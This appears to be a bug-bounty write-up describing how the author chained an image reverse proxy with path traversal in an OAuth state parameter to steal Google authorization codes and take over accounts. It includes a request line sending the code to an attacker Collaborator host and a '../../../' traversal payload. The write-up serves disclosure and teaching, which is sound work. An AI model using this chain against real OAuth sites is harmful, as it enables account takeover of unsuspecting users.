All posts

Hijacking OAuth Code via Reverse Proxy for Account Takeover

The target scope I had selected was fixed to the main application 1377.targetstaging.app. In the first phase of my narrow recon approach, I utilized various services like Archive, Google, and Yahoo to extract endpoints and different paths.

Recon

The program required a specific cookie like usertest=hash for the website to work. After setting it, I opened Burp Suite and started exploring the application's functionality to understand how the target operates.

OAuth Authorization Flow

The target had OAuth login via Google, Microsoft, and Slack. After tracing the flow end-to-end, I mapped it to five HTTP requests:

Request 1 — initial click, redirect to the company's main website:

OAuth flow — request 1

Request 2 — redirect to the Google login page:

OAuth flow — request 2 (Google login)

Request 3 — Google provider code returned to the company's main website:

OAuth flow — request 3 (provider code returned)

Request 4 — Google code passed from main site to a subdomain:

OAuth flow — request 4 (main → subdomain hand-off)

Request 5 — final exchange, auth cookie issued:

OAuth flow — request 5 (auth cookie issued)

I tried manipulating redirect_uri at request 4, but the regex was strictly fixed to the company's domain. Even an open redirect wouldn't help — the parameter just couldn't be changed. I moved on to other features.

Change Profile Picture Flow

The "Update Profile Picture" call caught my attention:

Profile-picture update request — AvatarUrl parameter

The first instinct was SSRF, so I dropped a Burp Collaborator URL into AvatarUrl:

AvatarUrl set to a Burp Collaborator URL

The Collaborator pinged back, which confirmed a server-side fetch was happening:

Burp Collaborator pingback from the server-side fetcher

The browser doesn't fetch the avatar directly — there's a reverse proxy in the middle. After examining the rendered DOM I caught this image-proxy request:

Image-proxy DOM request — fetched via /imageProxy/<url>

I tried gopher, file, redirect-to-protocol-switch, SVG XSS/LFI, port scanning — everything was locked down. I moved on.

Chain Vulnerability Flow

Coming back to my notes, I realised: the reverse proxy takes a URL as a path and sends a GET request to whatever the URL is. Look at request 5 — the provider code arrives in the GET parameter. If I can get the OAuth flow to land on:

GET /imageProxy/https://attacker.oastify.com/?code= HTTP/1.1

I get the code. Examining the parameters Google's OAuth screen accepts:

Google OAuth — accepted parameters at the provider screen

redirect_uri is fixed. state is interesting — its value is passed back to the main company site after auth, and the main site validates and redirects the user to the URL inside state with the code attached (this is request 4):

state-driven redirect with provider code attached

I now had to abuse the reverse proxy via the state parameter:

Plan: route through /imageProxy via state

The state-checker regex was strict — almost any change returned 403, except appending characters to the path. The site accepted links like:

Accepted state value — only path appendage allowed

So I tried path traversal:

Path traversal accepted by the validator

It worked — I could climb back a directory. Three levels back let me redirect to whatever path I wanted, with the code in tow:

../../../ path-traversal payload

I could now build a malicious link using either the target site or the provider as the entry point:

Final payload — two ways to start the chain

When the victim clicked either link and signed in, the provider code arrived at my Collaborator endpoint. Plug it into request 5 → victim's account.

Final Collaborator capture — provider code in hand

I hope you enjoy :)